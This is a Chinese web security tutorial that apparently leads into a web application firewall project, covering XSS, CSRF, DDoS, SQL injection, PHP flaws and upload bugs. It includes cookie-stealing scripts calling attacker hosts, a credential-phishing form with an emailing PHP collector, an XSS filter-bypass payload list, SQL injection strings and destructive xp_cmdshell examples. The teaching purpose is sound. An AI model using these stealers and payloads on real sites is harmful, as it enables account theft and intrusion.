同源策略(Same origin policy)是一个在多数浏览器中实施的概念,但它可被XSS攻击利用(它利用了一个用户对于某个网站或应用程序的信任),也可被XSRF利用(它利用了网站或应用程序对用户的信任)。
网站是通过cookie来识别用户的,当用户成功进行身份验证之后浏览器就会得到一个标识其身份的cookie,只要不关闭浏览器或者退出登录,以后访问这个网站会带上这个cookie。如果这期间浏览器被人控制着请求了这个网站的url,可能就会执行一些用户不想做的功能(比如修改个人资料)。因为这个不是用户真正想发出的请求,这就是所谓的请求伪造。因为这些请求也是可以从第三方网站提交的,所以前缀跨站二字。
1、XSS
跨站脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
XSS攻击的危害总结
盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
盗窃企业重要的具有商业价值的资料
非法转账电子邮件
强制发送网站挂马
控制受害者机器向其它网站发起攻击
攻击过程如下图
实例测试
一、反射型XSS(那些浏览器每次都要在参数中提交恶意数据才能触发的跨站脚本漏洞)
1、代码xss_1、xss_1_1(对于post包)
正确语句一:fstudio
测试语句一:<script>alert(/xss/)</script>
2、代码xss_2(对于get包)
正确语句一:http://localhost/test/xss/xss_2.php?param=fstudio
测试语句一:http://localhost/test/xss/xss_2.php?param=<script>alert(/xss/)</script>
二、存储型XSS(通过提交恶意数据到存储器(比如数据库、文本文件等),Web应用程序输出的时候是从存储器中读出恶意数据输出到页面的一类跨站脚本漏洞)
三、DOM Based XSS(通过修改页面的DOM节点形成的XSS)
代码xss_3
正确语句一:http://www.baidu.com
测试语句一:' onclick=alert(/xss/) //
原理:<a href=’’ onclick=alert(/xss)//’>fstudio</a>
测试语句二:'><img src=# onerror=alert(/xss2/) /><'
原理:<a href=’’><img src=# onerror=alert(/xss/) /><’’>fstudio</a>
攻击方法
1、利用XSS盗取cookies
在一个有漏洞的页面插入下面的代码,例如一个留言本里
<script>
window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);
</script>
(www.Hax0r.com = 攻击者的网站)
用记事本新建文件: cookie.php,把下面的代码拷贝到文件里来。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<? mail('[email protected]', 'Cookie stealed ! - thx xyli :)', $cookies); ?>
<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body>
</html><BR>这样是仅仅不够的,还要去等待收到电子邮件,阅读读盗取到的cookie。
如何修复这个漏洞呢?
我们可以使用htmlentities函数来修复这个漏洞。在替换上面的XSS.php第16行:
<body>
<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
为:
<body>
<span class="alerte">Search result :</span> <strong><?php
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>
</body>
还可以使用php的内置函数htmlspecialchars(),还有其他函数htmlentities()、strip_tags()等。
htmlspecialchars()的过滤是非常简单的,这里有一些绕过过滤的方法:
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
URL=http://;URL=javascript:alert('XSS');\">
<META HTTP-EQUIV=\"refresh\"
CONTENT=\"0;url=javascript:alert('XSS');\">
'">><marquee><h1>XSS</h1></marquee>
'">><script>alert('XSS')</script>
'>><marquee><h1>XSS</h1></marquee>
"><script alert(String.fromCharCode(88,83,83))</script>
<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
"/></a></><img src=1.gif onerror=alert(1)>
<body onLoad="alert('XSS');"
<body onunload="javascript:alert('XSS');">
<script language="JavaScript">alert('XSS')</script>
<img src="javascript:alert('XSS')">
'); alert('XSS
<font style='color:expression(alert(document.cookie))'>
<IMG DYNSRC=\"javascript:alert('XSS')\">
<IMG LOWSRC=\"javascript:alert('XSS')\">
</textarea><script>alert(/xss/)</script>
</title><script>alert(/xss/)</script>
<script src=http://yoursite.com/your_files.js></script>
"><script>alert(0)</script>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=\"jav ascript:alert('XSS');\">
<IMG SRC=\"jav ascript:alert('XSS');\">
<IMG SRC=\"jav ascript:alert('XSS');\">
<marquee><script>alert('XSS')</script></marquee>
<? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?>
<IMG SRC=\"jav ascript:alert('XSS');\">
<IMG SRC=\"jav ascript:alert('XSS');\">
<marquee><script>alert('XSS')</script></marquee>
<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
<img src=foo.png onerror=alert(/xssed/) />
<script>alert(String.fromCharCode(88,83,83))</script>
<scr<script>ipt>alert('XSS');</scr</script>ipt>
<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
escape(document.cookie)</script>
<script src="http://www.evilsite.org/cookiegrabber.php"></script>
<script>alert('XSS');</script>
<script>alert(1);</script>
还有很多,不在一一列举...
2、利用Flash进行XSS攻击
Flash是用于复杂的动画,仿真和游戏开发等。非常有趣的是Flash的getURL()动作,它可以使我们的页面重定向到函数指定的页面,改函数的语法如下:
getURL(url:String, [window: String,[method:String]])
例如:getURL("http://victime.com/login.php?logout=true","_self");
url: 重定向的网站url
window: 设置重定向的窗口打开方式 (_self, _blank…)
method: 请求页面的方式 GET 或者 POST
actionscrip来弹出警告窗口的方法:
getURL("javascript:alert('XSS'");
在2002年的时候,曾经公布这个函数的危险性,例如可以用下面的方式来获取浏览者的cookie:
getURL("javascript:alert(document.cookie)")
在2005年12月的时候,对getURL()进行了改进,改进了在flash文件签名中输入XSS语句从而导致永久性XSS攻击的漏洞。官方采用这种更新是为了防止再次爆发MySpace中传播Samy Xss蠕虫,Samy可以隐藏在flash中盗取cookies。
但是这样的更新就解决了XSS吗?不,目前还没有完全解决flash的XSS问题,下面的例子来说明,在flash文件中输入:
GetURL("http://www.victime.com/page.php?var=<script src='http://www.hax0r.com/Haxored.js'></script>","_self");
Haxored.js中的代码如下:
document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;
当然最为简单的安全解决方案就是不要在网站中使用flash。
3、上传文件进行XSS攻击
在画图工具里创建一个Haxored.gif图片,然后用记事本打开它,删除所有行并插入下面的内容:
GIF89a<script>alert("XSS")</script>
保存并关闭它。
然后把Haxored.gif上传到一个免费的图片网站上,再查看你的图片,XSS就产生了……不要用Mozillia Firefox来浏览图片,因为Mozillia Firefox不能运行该脚本,该攻击适用于Internet explorer浏览器。
为什么在脚本前面添加GIF89a呢?一般上传图片会这样的,在各个.gif文件中检查是否包含'GIF89a'代码。这个通过检查文件GIF89a代码对上传结果进行确认的漏洞,并没有检查图片里的恶意代码。
GIF89a<script src="http://hax0r.com/cookiegrabber.php"></script>
.jpg及其它格式的图片就可以知道了,例如一个png格式的文件:‰PNG
PNG = ‰PNG
GIF = GIF89a
JPG = ???à JFIF
BMP = BMF?
为了安全不能仅仅依靠getimagesize()函数来检查图片。
4、利用XSS漏洞进行钓鱼
在我们的例子中,将有必要找一个存在XSS漏洞的网站,并在一个form表单里注入一个URL重定向的代码:
<p>Enter your login and password, thank:</p>
<form action="http://hax0r.com/mail.php">
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value= OK >
</form>
你已经猜到这个脚本将冒充一个form表单来发送用户名及密码给代你,下面的php文件是用来发送email的(mail.php):
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("[email protected]", "Cookie stealed ! - thx xyli :)", $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>
用户提交后看到这个页面会认为网页等待与超载是正常的,而不会有所怀疑什么,邮件中会有用户信息。
2、CSRF
跨站请求伪造,也被称成为”one click attack”或者”session riding”,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。
尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
下面是CSRF的常见特性:
依靠用户标识危害网站
利用网站对用户标识的信任
欺骗用户的浏览器发送HTTP请求给目标站点
另外可以通过IMG标签会触发一个GET请求,可以利用它来实现CSRF攻击。
CSRF风险在于那些通过基于受信任的输入form和对特定行为无需授权的已认证的用户来执行某些行为的web应用。已经通过被保存在用户浏览器中的cookie进行认证的用户将在完全无知的情况下发送HTTP请求到那个信任他的站点,进而进行用户不愿做的行为。
我们可以通过一张图形象地把过程演示如下:
3、DDOS
DDOS 是一种向服务器发送大量无用请求,使服务器资源过载,使服务无法正常响应的一种攻击手段。大致可分为 网络层的ddos攻击 和应用层的ddos攻击。
网络层的ddos攻击只要手段有sys flood,udp flood,icmp flood 等。其中syn flood 是一种最为经典的ddos 攻击,它利用了tcp/ip 协议的三次握手的规则,建立大量的半连接(半连接:当客户端向服务器器发送syn包时,服务器会向客户端发送syn/ack的回应包,但由于创建连接的是ip是虚假的,使得客户端对syn/ack的包无法正常回应,但服务端不知道这个地址是虚假的,所以它会重试发送3-5次,直到超时才会丢弃这个连接),这种大量的半连接会使服务器马上无法响应,拒接服务。对抗这种ddos 攻击,一般会使用各种算法,针对ddos的攻击特性,对流量进行清洗。
应用层的ddos,就是发生在应用层面的,他是属于的正常的tcp连接,但它比网络层的ddos更难控制,因为在应用层的ddos攻击和正常应用访问之间的界限很难区分。
Ddos的攻击原理非常简单:
CC攻击(challenge Collapasar 挑战黑洞)是应用层ddos的一种攻击手段,通过对一些资源消耗比较大的应用页面发起连接,消耗系统资源从而达到拒绝服务的目的。
还有一种就是攻击一些流量大的网站,在里面嵌入连接攻击目标的链接,这样的话所以访问该网站的用户都会对目标发起一次http请教。前几天的github被拖垮的原因,就是由于12306的抢票插件中嵌入了访问github的链接,这个也可以算是一次ddos攻击。
还有一种攻击手段就是构造一个的不完整的http头部,是服务端认为没有正确的接受http header,并保持此连接不释放,这样持续的构造不完整的http头部,很快就可以是系统资源耗尽.。
下面是我在实验室中模拟的一次Syn Flood攻击的实际过程
这一个局域网环境,这是在攻击并未进行之前,在Solaris上进行snoop的记录,snoop与tcpdump等网络监听工具一样,也是一个很好的网络抓包与分析的工具。可以看到攻击之前,目标主机上接到的基本上都是一些普通的网络包。
…
…
? -> (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes
? -> (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes
? -> (multicast) ETHER Type=0000 (LLC/802.3), size = 52 bytes
? -> (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes
192.168.0.66 -> 192.168.0.255 NBT Datagram Service Type=17 Source=GU[0]
192.168.0.210 -> 192.168.0.255 NBT Datagram Service Type=17 Source=ROOTDC[20]
192.168.0.247 -> 192.168.0.255 NBT Datagram Service Type=17 Source=TSC[0]
? -> (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes
192.168.0.200 -> (broadcast) ARP C Who is 192.168.0.102, 192.168.0.102 ?
? -> (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes
? -> (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes
192.168.0.66 -> 192.168.0.255 NBT Datagram Service Type=17 Source=GU[0]
192.168.0.66 -> 192.168.0.255 NBT Datagram Service Type=17 Source=GU[0]
192.168.0.210 -> 192.168.0.255 NBT Datagram Service Type=17 Source=ROOTDC[20]
? -> (multicast) ETHER Type=0000 (LLC/802.3), size = 52 bytes
? -> (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes
? -> (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes……
接着,攻击机开始发包,DDoS开始了…,突然间sun主机上的snoop窗口开始飞速地翻屏,显示出接到数量巨大的Syn请求。这时的屏幕就好象是时速300公里的列车上的一扇车窗。这是在Syn Flood攻击时的snoop输出结果:
…
127.0.0.178 -> lab183.lab.net AUTH C port=1352
127.0.0.178 -> lab183.lab.net TCP D=114 S=1352 Syn Seq=674711609 Len=0 Win=65535
127.0.0.178 -> lab183.lab.net TCP D=115 S=1352 Syn Seq=674711609 Len=0 Win=65535
127.0.0.178 -> lab183.lab.net UUCP-PATH C port=1352
127.0.0.178 -> lab183.lab.net TCP D=118 S=1352 Syn Seq=674711609 Len=0 Win=65535
127.0.0.178 -> lab183.lab.net NNTP C port=1352
127.0.0.178 -> lab183.lab.net TCP D=121 S=1352 Syn Seq=674711609 Len=0 Win=65535
127.0.0.178 -> lab183.lab.net TCP D=122 S=1352 Syn Seq=674711609 Len=0 Win=65535
127.0.0.178 -> lab183.lab.net TCP D=124 S=1352 Syn Seq=674711609 Len=0 Win=65535
127.0.0.178 -> lab183.lab.net TCP D=125 S=1352 Syn Seq=674711609 Len=0 Win=65535
127.0.0.178 -> lab183.lab.net TCP D=126 S=1352 Syn Seq=674711609 Len=0 Win=65535
127.0.0.178 -> lab183.lab.net TCP D=128 S=1352 Syn Seq=674711609 Len=0 Win=65535
127.0.0.178 -> lab183.lab.net TCP D=130 S=1352 Syn Seq=674711609 Len=0 Win=65535
127.0.0.178 -> lab183.lab.net TCP D=131 S=1352 Syn Seq=674711609 Len=0 Win=65535
127.0.0.178 -> lab183.lab.net TCP D=133 S=1352 Syn Seq=674711609 Len=0 Win=65535
127.0.0.178 -> lab183.lab.net TCP D=135 S=1352 Syn Seq=674711609 Len=0 Win=65535…
这时候内容完全不同了,再也收不到刚才那些正常的网络包,只有DDoS包。大家注意一下,这里所有的Syn Flood攻击包的源地址都是伪造的,给追查工作带来很大困难。这时在被攻击主机上积累了多少Syn的半连接呢?我们用netstat来看一下:
# netstat -an | grep SYN …
…
192.168.0.183.9 127.0.0.79.1801 0 0 24656 0 SYN_RCVD
192.168.0.183.13 127.0.0.79.1801 0 0 24656 0 SYN_RCVD
192.168.0.183.19 127.0.0.79.1801 0 0 24656 0 SYN_RCVD
192.168.0.183.21 127.0.0.79.1801 0 0 24656 0 SYN_RCVD
192.168.0.183.22 127.0.0.79.1801 0 0 24656 0 SYN_RCVD
192.168.0.183.23 127.0.0.79.1801 0 0 24656 0 SYN_RCVD
192.168.0.183.25 127.0.0.79.1801 0 0 24656 0 SYN_RCVD
192.168.0.183.37 127.0.0.79.1801 0 0 24656 0 SYN_RCVD
192.168.0.183.53 127.0.0.79.1801 0 0 24656 0 SYN_RCVD……
其中SYN_RCVD表示当前未完成的TCP SYN队列,统计一下:
# netstat -an | grep SYN | wc -l
5273
# netstat -an | grep SYN | wc -l
5154
# netstat -an | grep SYN | wc -l
5267
…..
共有五千多个Syn的半连接存储在内存中。这时候被攻击机已经不能响应新的服务请求了,系统运行非常慢,也无法ping通。
到目前为止,进行DDoS攻击的防御还是比较困难的。首先,这种攻击的特点是它利用了TCP/IP协议的漏洞,除非你不用TCP/IP,才有可能完全抵御住DDoS攻击。一位资深的安全专家给了个形象的比喻:DDoS就好象有1,000个人同时给你家里打电话,这时候你的朋友还打得进来吗?
4、sql注入
SQL攻击(SQL injection,台湾称作SQL资料隐码攻击),简称注入攻击,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。
过程可以总结为这样:
漏洞原因
在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下:
在应用程序中使用字符串联结方式组合SQL指令。
在应用程序链接数据库时使用权限过大的帐户(例如很多开发人员都喜欢用sa(自带的最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
太过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。
作用原理
SQL命令可查询、插入、更新、删除等,命令的串接。而以分号字符为不同命令的区别。(原本的作用是用于SubQuery或作为查询、插入、更新、删除……等的条件式)
SQL命令对于传入的字符串参数是用单引号字符所包起来。《但连续2个单引号字符,在SQL数据库中,则视为字符串中的一个单引号字符》
SQL命令中,可以注入注解《连续2个减号字符 -- 后的文字为注解,或“/*”与“*/”所包起来的文字为注解》
因此,如果在组合SQL的命令字符串时,未针对单引号字符作取代处理的话,将导致该字符变量在填入命令字符串时,被恶意窜改原本的SQL语法的作用。
实例
测试一、
mysql_test.php
输入:http://localhost/test/sql/mysql_test.php?id=1正常返回fstudio->11054208
漏洞测试:http://localhost/test/sql/mysql_test.php?id=1%27回显错误,有注入漏洞
测试二、
某个网站的登录验证的SQL查询代码为:strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
恶意填入:userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
时,将导致原本的SQL字符串被填为strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
也就是实际上运行的SQL命令会变成下面这样的
strSQL = "SELECT * FROM users;"
类似的例子我们找到一个整站源码作为实验,见附录中的sql/all。
因此达到无帐号密码,亦可登录网站。所以SQL注入攻击被俗称为黑客的填空游戏。
可能造成的伤害
数据表中的数据外泄,例如个人机密数据,帐户数据,密码等。
数据结构被黑客探知,得以做进一步攻击(例如SELECT * FROM sys.tables)。
数据库服务器被攻击,系统管理员帐户被窜改(例如ALTER LOGIN sa WITH PASSWORD='xxxxxx')。
取得系统较高权限后,有可能得以在网页加入恶意链接以及XSS。
经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统(例如xp_cmdshell "net stop iisadmin"可停止服务器的IIS服务)。
破坏硬盘数据,瘫痪全系统(例如xp_cmdshell "FORMAT C:")。
另外,fstudio用sql注入工具明小子拿下的站点报告在附录(明小子sql报告.txt)可见,特此声明,这只作为技术试验,本团队不会做任何破坏和信息公开,如果。
5、php安全
(1)文件包含漏洞
由于开发人员编写源码,开放着将可重复使用的代码插入到单个的文件中,并在需要的时候将它们包含在特殊的功能代码文件中,然后包含文件中的代码会被解释执 行。由于并没有针对代码中存在文件包含的函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端解释执行。文件包含攻击中WEB服务器源码 里可能存在inlcude()此类文件包含操作函数,可以通过客户端构造提交文件路径,是该漏洞攻击成功的最主要原因。
测试一
代码php_t.php
提交http://localhost/test/include/php_t.php?test=test.txt可以看到test.txt中的代码被执行。
本地文件包含
采用../../../../遍历目录,又叫目录遍历漏洞
仍然用代码php_t.php实验,将test.txt移动到本目录的上层目录,提交http://localhost/test/include/php_t.php?test=../test.txt,得到执行。
远程文件包含(RFI)
远程文件包含漏洞可以直接用来执行任意命令,比如攻击者的服务器上存在文件p.php
我们再次利用上面测试中的文件php_t.php来实验,我们提交可以提交http://localhost/test/include/php_t.php?test=http://localhost/test/p.php?
远程文件http://localhost/test/test.txt得到执行,这是我们的一个探针,详细显示了服务器非常敏感的信息,这其实是由php配置文件中的allow_url_include参数设置为ON造成的。这也进一步说明网站管理员对服务器的配置在很大程度上能够保证服务器安全和网站安全,这里要遵循最小权限原则。
(2)变量覆盖漏洞
变量如果未被初始化,且能被用户所控制,那么很可能会导致安全问题。
在PHP4.2.0之后的版本中,register_globals默认由ON变为OFF,这在很大程度上减少了这样的漏洞,由于register_globals=ON时,变量来源可能是各个不同的地方,比如表单,cookie等。这样很容易写出不安全的代码,比如代码php_auth.php中的函数extract()就能够将变量从数组导入当前的符号表。
测试一、php_auth.php
提交http://localhost/test/include/php_auth.php显示public!
提交http://localhost/test/include/php_auth.php?auth=1显示private!
测试二、对于php_glo.php
当register_globals=OFF时,提交http://localhost/test/include/php_glo.php?auth=1,代码不会出现问题,正常显示register_globals:0;
当register_globals=ON时,提交http://localhost/test/include/php_glo.php?auth=1,代码出现问题,显示register_globals:1;
这类函数很多,比如:
import_request_varibales();
parse_str();
mb_parse_str();
……
(3)代码执行漏洞
用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
PHP中可以执行代码的函数。如preg_replace() 、eval()、assert()、system()、exec()、shell_exec()、passthru()、 escapeshellcmd()、pcntl_exec() 等
测试一、对于代码exec.php
提交http://localhost/test/include/exec.php?reg=%3C\/php%3E/e
可以看到代码phpinfo()被执行;
测试二、对于代码exec_2.php
提交http://localhost/test/include/exec_2.php?dyn_func=system&argument=ipconfig
执行ipconfig命令;
测试三、对于代码exec_3.php
提交http://localhost/test/include/exec_3.php?foobar=system%28dir%29
执行dir命令;
容易导致安全问题的函数有很多
array_map()
usort(), uasort(), uksort()
array_filter()
array_reduce()
array_diff_uassoc(), array_diff_ukey()
array_udiff(), array_udiff_assoc(), array_udiff_uassoc()
array_intersect_assoc(), array_intersect_uassoc()
array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()
array_walk(), array_walk_recursive()
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()
stream_filter_register()
set_error_handler()
register_shutdown_function()
register_tick_function()
6文件上传漏洞
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,几乎没有什么技术门槛,通过注入所得到的往往是数据库中的一些敏感信息,如管理员名称、密码等等(注:此处注入指的是MDB数据库),但上传漏洞就不同了,它可以把ASP、JSP、CGI、PHP等格式的木马上传至网站目录内,所得到的权限最低也是WEBSHELL,如果碰到的是安全意识不强的管理员,将直接得到管理员权限。在互联网中,我们经常用到文件上传功能,比如上传一张自定义的图片;分享一段视频或者照片;论坛发帖附带一个附件;在发邮件时附带附件等。
文件上传功能本身是一个正常的业务需求,对于网站来说,很多时候也确实需要用户将文件上传到服务器。所有文件上传本身并没有问题,但是问题是文件上传后,服务器怎么处理,解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
文件上传后可能导致的常见安全问题一般有:
上传文件时web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行;
上传文件时flash文件的策略文件,黑客利用flash在该域下的行为
上传文件时病毒、木马文件,黑客用以诱骗用户或者管理员下载执行;
上传文件时钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
以下代码会处理上传的文件,并将它们移到 Web 根目录下的一个目录中。
攻击者可以将任意的PHP源文件上传到该程序中,并随后从服务器中请求这些文件,会在远程服务器上执行恶意文件。
<?
if(isset($_POST["form"])){
$uploadfile = "upfiles/".$_FILES['upfile']['name'];
move_uploaded_file($_FILES['upfile']['tmp_name'], $uploadfile);//没有检查文件类型就直接上传
print_r($_FILES);
die();
}
?>
即使程序将上传的文件存储在一个无法通过 Web 访问的目录中,攻击者仍然有可能通过向服务器环境引入恶意内容来发动其他攻击。 如果程序容易出现文件包含漏洞,那么攻击者就可能上传带恶意内容的文件,并利用另一种漏洞促使程序读取或执行该文件,形成“二次攻击”。
以上只是列举了部分网络攻击手段,其他还有很多的攻击方法,而且一般都是多种攻击方法相结合完成的,网络黑客事件数据库(WHID)公布数据清楚地表明了各种攻击对整个网络世界的巨大威胁。
目前,利用网上随处可见的攻击软件,攻击者不需要对网络协议的深厚理解基础,即可完成诸如更换Web网站主页,到取管理员密码,破坏整个网站数据等等攻击。而这些攻击过程中产生的网络层数据,和正常数据没有什么区别,传统的防火墙对于这些攻击变得毫无作用。
Web防火墙,主要是对Web特有入侵方式的加强防护,如DDOS防护、SQL注入、XML注入、XSS等。由于是应用层而非网络层的入侵,从技术角度都 应该称为Web IPS,而不是Web防火墙。这里之所以叫做Web防火墙,是因为大家比较好理解,业界流行的称呼而已。
07年底08年开始Web应用防火墙日趋流行,过去这些工具被很少数的大型项目垄断,但是,随着大量的低成本产品的面市以及可供选择的开源试用产品的出现,它们最终能被大多数人所使用。我们所做的就是利用开源的产品创造出更加符合大多数网站需求的waf产品。
市场上具有WEB应用防火墙功能的产品名称就有不同的几十种,更不用说是产品的形式和描述了。它难以界定的原因是这个名称包含的东西太多了。较低的网络层 (Web应用防火墙被安置在第七层)被许多设备所覆盖,每一种设备都有它们独特的功能,比如路由器,交换机,防火墙,入侵检测系统,入侵防御系统等等。然 而,在HTTP的世界里,所有这些功能都被融入在一个设备里:Web应用防火墙。
WEB 应用防火墙基于对数据报文头部和载荷完整的检测,对WEB应用客户端输入进行验证,从而对各类已知的及新兴的WEB应用威胁提供全方位的防护,如SQL注入、跨站脚本、蠕虫、黑客扫描和攻击等。对于各类变形攻击,基于智能的检测机制,提供实时防御。
WEB 应用防火墙提供对目前国内比较泛滥的DDOS攻击的防护。针对WEB应用进行的带宽和资源耗尽型DDOS攻击,都可轻松应对。尤其针对应用层的DDOS攻 击,提供细粒度的防护。
我们可以对各种防护手段做出这样的对比:
1、网络防火墙有洞
网络防火墙技术的发展已经非常成熟,也是目前网络安全技术中最实用和作用最大的技术。但是,作为目前应用最为广泛的HTTP服务器等应用服务器,通常是部署在防火墙的DMZ区域,防火墙完全向外部网络开放HTTP应用端口,这种方式对于HTTP应用没有任何的保护作用。即使使用HTTP代理型的防火墙,防火墙也只是验证HTTP协议本身的合法性,完全不能理解HTTP协议所承载的数据,也无从判断对HTTP服务器的访问行为是否合法。攻击者知道正面攻破网络防火墙十分困难,于是从简单的端口扫描攻击转向通过应用层协议进入企业内部,目前,利用网上随处可见的攻击软件,攻击者不需要对网络协议有深厚的理解,即可完成诸如更换Web网站主页、盗取管理员密码、破坏整个网站数据等攻击。而这些攻击过程中产生的网络层数据,和正常数据没有什么区别。一个最简单的例子就是在请求中包含SQL注入代码,或者提交可以完成获取其他用户认证信息的跨站脚本,这些数据不管是在传统防火墙所处理的网络层和传输层,还是在代理型防火墙所处理的协议会话层,都会认为是合法的。
虽然传统的防火墙多年来在第三层有效地阻断了一些数据包,但它在阻止利用应用程序漏洞进行的攻击方面却无能为力。Web应用防火墙可检测应用程序异常情况和敏感数据(如信用卡和社会保险号等)是否正被窃取,并阻断攻击或隐蔽敏感数据。
明白了防火墙的工作原理,我们就知道,对于应用层攻击,网络防火墙是无能为力的。
2、入侵检测有限
目前最成熟的入侵检测技术就是攻击特征检测。入侵检测系统首先建立一个包含目前大多已知攻击特征的数据库,然后检测网络数据中的每一个报文,判断是否含有数据库中的任何一个攻击特征,如果有,则认为发生相应的攻击,否则认为是合法的数据。
入侵检测系统作为防火墙的有力补充,加强了网络的安全防御能力。但是,入侵检测技术的作用存在一定的局限性。由于需要预先构造攻击特征库来匹配网络数据,对于未知攻击和不能有效提取攻击特征的攻击,入侵检测系统不能检测和防御。另外就是其技术实现的矛盾,如果需要防御更多的攻击,那么就需要很多的规则,但是随着规则的增多,系统出现的虚假报告(对于入侵防御系统来说,会产生中断正常连接的问题)率就会上升,同时,系统
的效率会降低。 对于应用攻击,入侵检测系统可以有效的防御部分攻击,但不是全部。
3、应用防火墙有效
网络面临的许多安全问题单靠网络防火墙是无法解决的,必须通过一种全新设计的高性能安全代理专用设备来配合网络防火墙。具体来说,利用网络防火墙阻挡外面的端口扫描攻击,利用应用安全防护技术,深层管理和控制由用户访问外部资源而引起的应用层攻击,解决针对应用的、具有破坏性的复杂攻击。
应用防火墙真正实现了对网络应用的保护,是传统安全技术的有效补充。应用防火墙可以阻止针对Web应用的攻击,而不仅仅是验证HTTP协议。这些攻击包括利用特殊字符或通配符修改数据的数据攻击、设法得到命令串或逻辑语句的逻辑内容攻击,以及以账户、文件或主机为主要目标的目标攻击。2004年所出现的Web应用10大漏洞,应用防火墙均可以防御,未知攻击也无法越过应用防火墙。
业界标准的应用防火墙一般采用主动安全技术实现对应用的保护。主动安全技术是指建立正面规则集,也就是说明哪些行为和访问是合法的规则描述。对于接收到的应用数据(从网络协议还原出来的应用数据,不是数据报文头),判断是否符合合法规则。因为只允许通过已知的正常数据,这种方式可以防御所有的未知攻击。
应用防火墙技术是现有网络安全架构的一个重要补充,而不是取代传统防火墙和入侵检测等安全设备。传统安全设备阻挡攻击者从正面入侵,着重进行网络层的攻击防护;而应用防火墙着重进行应用层的内容检查和安全防御,与传统安全设备共同构成全面、有效的安全防护体系。
我们可以清楚的看到对应这些带有攻击性质的语句都被waf过滤,重定向到百度页面,测试报告见附录report.html。